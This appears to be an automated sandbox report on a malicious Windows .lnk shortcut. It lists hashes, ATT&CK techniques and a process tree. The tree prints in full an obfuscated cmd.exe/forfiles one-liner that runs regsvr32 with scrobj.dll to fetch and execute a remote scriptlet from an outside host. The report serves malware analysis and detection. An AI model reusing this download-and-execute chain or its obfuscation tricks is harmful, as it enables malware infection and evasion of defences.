9a0c4062fd1fec2d9b4b603549da4473ed145fce83929acaab843fc766e51647

General

Target
NEW-EHETOHEYOVAME.lnk
Size 8KB
Sample260813-aw4e9afh77
SHA256 9a0c4062fd1fec2d9b4b603549da4473ed145fce83929acaab843fc766e51647
MD5 93a9eee062ca75b7b9b7fd7bfc0aad2a
SHA1 1b2180da5509db46c700a2fd980b192ba8028041
SHA512 38b6a084ab9a1850f70707546360e355605a6c7d900fd4380b7385ec10c9caaf95f1d04bd1c79df691118249c212ac75a193dae1bf0f61c31a94e22b27af9829
SSDEEP 192:8ZYkynNen1GX8+gKAoY+DN2+cfCXe4yx2M6VYURz6WZ:QYkynNI1bLoY+JncfCXfTMkb6
TLSH
T1C502113465FB1019D173FBBB4BDEACABDF7AB621523B256E20A143478601801EE56339
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\Control Panel\International\Geo\Nation	cmd.exe

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
2764	forfiles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1040	cmd.exe
4680	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1040 wrote to memory of 4680	1040	cmd.exe	85
PID 4680 wrote to memory of 2764	4680	cmd.exe	86
PID 2764 wrote to memory of 3752	2764	forfiles.exe	87
PID 3752 wrote to memory of 4928	3752	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\NEW-EHETOHEYOVAME.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /ZRCKBWYFKLJVZDJCJEILTBTMP:R1I2KPWENXKTQQWKOO /URTYEXJAHRCWENMCOJPPZUDM:MIZQRQ2OCYXHWW7W /MTXBLMUGPUVUFAJG:CAM51BTRRBAR2 /BSAXKLYDOPLCJVDJEP:BYOVTRBR9FKJJ /GNQPTMIXGLEEHLKQFKUGM:GYBAQ6BJJBP6K3L9PP /BIBEPCZFNZAIEV:JF0T4X9FFY3T3091SNWRS /XOXXTNYXSQXPMFTLCMTS:GBPW0NM0AVTGUACIZQVAYMXLQ /JWNDBFYMKGA:JZACK5QDYL2YSBTT98 /OMULONTXOKWUQEXNPKM:LW389YMJINI8K7U7W /XOSQFAYZNMMBVQRYDUXRCUEQ:AOLJ9Y66QLF /BZEOVKLXGFZCVTIHFQSRTTI:HVT4SYK83KDY /HUHXYTBXAXTGEIGNAZJEOPJO:6IA15RF29F24JWIOYVX7F /QFBDTZNNRLJSDXELPMGGWQGOU:IQH0CJ2AIDD8U22R0FA2W4M /TJUPBWKMTIAZYSA:3R3CASKL2CBE2S9ZP /UMMNRNRQZXOWWXHTESWK:J0VRPMZTJE /VOUWDORGPAVXWFAEGBRNW:CW53TL7HWFGQPU2 /YQXRFZRIIGSLM:YD2FCCER0PE2 /GDDODECATIBXVNRCIMKPMFWG:67MFM28CA0I4950ULZC9C /OOBUUWTOMQZOPXBFWEWRCS:6ZBQZKGCPWMRT /TUDYQKCKAYIJQY:B6GQQGAVATHURWUR80 /DRMAIVBJLRQFGAVV:L6JFHEFGUTHHV07 /NMYMBQJMJDGHSZTRWITOD:3BRPQ72KE1 /OLYCZUHXTJLMLQLQKTGYIFAJQ:Y6TNKYYUAXR /UXXHUGGNSZB:F022AVVBH5WT4CXV /IYZPPTHNTCLRZLCMTKB:QANJFSTE5S5P3R /ANYYUFXMSERU:YCNJL1NRIK6FLA1EVD2US89 /SXRDVHYIMXYSUCRWHIQMYFEVE:P0H5CLOP2OCG /GHICFSKNBC:4NUSNCHIWWSGG /YQLHWNVYAZU:1TJXXBCWO09QKNEF4QT9 /XGYFYHEIWX:LM03LFL29FO7 /AVSHFCMYJRL:Y44WTODS2CT /ZVMUUVFPYNANNXSXEORLAY:886QS8NWAP4JMLQIG21NQKJW /PPCKHWCXNXAFTCCITHDUQXFVD:LL7S5TOGJISI8M77UMO9 /XUSTCBACJQZGBJSSL:TY1J9FYKVQK /XJWMWTGUBJVU:QNCY5XLM53C2XCGN4EYU20 /URGYOEVCGAEBWZ:89Q39OK7IHE /BXVOQIWIPGCL:EOPHFZ6GH6MDL4MR /QBWPIFCQIMNVEOP:U6YALURL0PR5 /DOGFFIKEWMAKLYU:4RS4Z7J7SFAX7G2NX1 /ZKDSHYBKTKFZBVTYNMAFJX:1GL9RDAQZD88P1D1SINB9 /TGTWUUNDOWKY:VPW6TNF1LREZMH75LVR /UYAYVOAKOSYCVBQJNAHKO:RLIV6Z8SJWJM /FBHMMZIHUSNR:GACG2L5H00Z8ISCZLLLOHGI7R /ZVCVVHUQEUOWROCXOTKNUSCWI:800WA2JWVFN80V /QQFGGKFXBNGARKPKZZ:3QY2TZ4OF82TF1G /BCNJINNCEMLFYEPSL:JR9CUDV2KMTD9QMT /WQVWOOYFWWOGJM:PNOWAO5M2Z3HS31EEI944J65 /AXCNRFUYTHD:3OF3BY9AOG /ITDMRHYYJBS:MSNX5IOCTMSGK17Q9TJB /NSPLBAOABIFRHWKYKGDP:46H3C48OA4L /GZURCBOWGMS:Z2JV4IM8QAY4J8U7RNISI /JKCXXJUZVRCRB:GQOM1GDA5JPXPPGBHTWLA1G8F /OLQAQLXPKYAFYODSRHA:VX3HU588FA5VPQ5ATU7JMRJ /LMMQTKNBFOTCTGR:TIIJ4H2KVS0PINV8VGP75K42R /NEAKAWKRQJKYZAGEMTABMEQBY:V638PQY80494O8Z3P3 /AEOTQAZBGXKVXQA:XFQR8IE43N260 /FQOFTOEAEJDJAPYGP:V3H90INQ2QQN7EC /FZECLEXBWWMRCBZPQNZYDYP:TJEMMMDX32HTOWSX1RCYL /WTHKPNCHQBPJPZZNMUJWE:J5IEHZQMB0DAH0HT3MS1DM /SJUUFIBTFDUJDZ:RV05LNWZPWIR7UHCRND8E3B0 /ZOZBYFPJAYYGFPRRWSHNLI:E5MMCAA8QPXR0UAZ7 /XHQOBSQXUJVBY:DTNZTN8Y6C /TNENNLNMYTPKQCFWF:WJ896L00IECPLMH1IJGS5IZ10 /TPNPWFBWTSHAVVVRGUMHOEDV:4JBWLF3W23MB90LU47SS /ETLNOMJCUAKFLNZGDMHLBB:RX96DLD2NJTLIJGPQ41H75UAD /AJKPTPNKOZNIUML:GX2XUEQOTMOBWVCZ8 /VQIGVGENIZKWUUUPCFZ:SVHL9T2MMDP /UVRFUYLFMARTMI:2A2DPCUDJSHOK25XMZVTKC68 /WCICEMIGIJFJSIOM:AY7HJP3WHMXWCQ7698 /VSAUAVTQSBSHGB:ER9JEXN99340 /SWIMZNDULJGTWXXFQH:HFDXX9JIHV6V0THNBO /ZENEOCLPPLEVLWNR:1JNJ82IC9HBUR /TFDAHSWKUESTBER:G2YTXEYNYM40W5CBR /MWAVTALWTWSBBQQJABORKXU:12WB62E6CF2TGIXFSJGPSTQ /EYPCWHIIUG:CD9TJ0G96SJO33MFKUF3 /PPSJKTKLTB:B91TURUHEAEH58UBI9ODWSVRP /VSUTEIJBDUPCNFEJXKC:DPQUQZJB63Q8J5YHQ6 /DRNUHYXYXN:XSUZVL5Q9VWUD5CU /OOFYKZCFWJWFGUEDNTMSB:L2NPOZ34PNNNIGP /QWTWSZZPVPQLCUPTBUO:6XZA70VFZ9AU72EUNKWNMW48 /MXPISOJCRZGZPCPCBNWNB:2KRVN5XE6RNM8REBTLC /IYZFNDVKBDVTIHPT:DQ9FL2X4MRSYHDU /OZUQLMAGVFXG:EOFG5HQO75IXBM9LDX /FDSOZZZDUYB:PJ2FP6QYIVIM4JAR2PX /D/C "fOR %d in (k5ije16k) do For %u in (reg) dO FOR %l in (op8ra8k8hnlm) Do for %s in (svr) Do foR %a in (32) dO fOR %h in (forf) Do foR %o in (il) Do FoR %p in (es) DO fOR %e in (Sys) Do for %j in (tem32) DO fOR %i in (C:\Windows) DO %h%o%p /p %i\%e%j /m scrob?.dll /c "cmd /c %TEMP:~0,1%:\W^in^d^ow^s\%e%j\%u%s%a.exe -^s -^n -^u -^i^:https://w^jdwaxm.plan^alto^v^ero.website/^nyvvegejegda^iua/2^489375638927/ @path iynichyg.dll""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4680
- - C:\Windows\system32\forfiles.exe
    forfiles /p C:\Windows\System32 /m scrob?.dll /c "cmd /c C:\W^in^d^ow^s\System32\regsvr32.exe -^s -^n -^u -^i^:https://w^jdwaxm.plan^alto^v^ero.website/^nyvvegejegda^iua/2^489375638927/ @path iynichyg.dll"
    3⤵
    - Indirect Command Execution
    - Suspicious use of WriteProcessMemory
    PID:2764
  - - C:\Windows\system32\cmd.exe
      /c C:\W^in^d^ow^s\System32\regsvr32.exe -^s -^n -^u -^i^:https://w^jdwaxm.plan^alto^v^ero.website/^nyvvegejegda^iua/2^489375638927/ "C:\Windows\System32\scrobj.dll" iynichyg.dll
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3752
    - - C:\Windows\System32\regsvr32.exe
        
        C:\Windows\System32\regsvr32.exe -s -n -u -i:https://wjdwaxm.planaltovero.website/nyvvegejegdaiua/2489375638927/ "C:\Windows\System32\scrobj.dll" iynichyg.dll
        5⤵
        
        PID:4928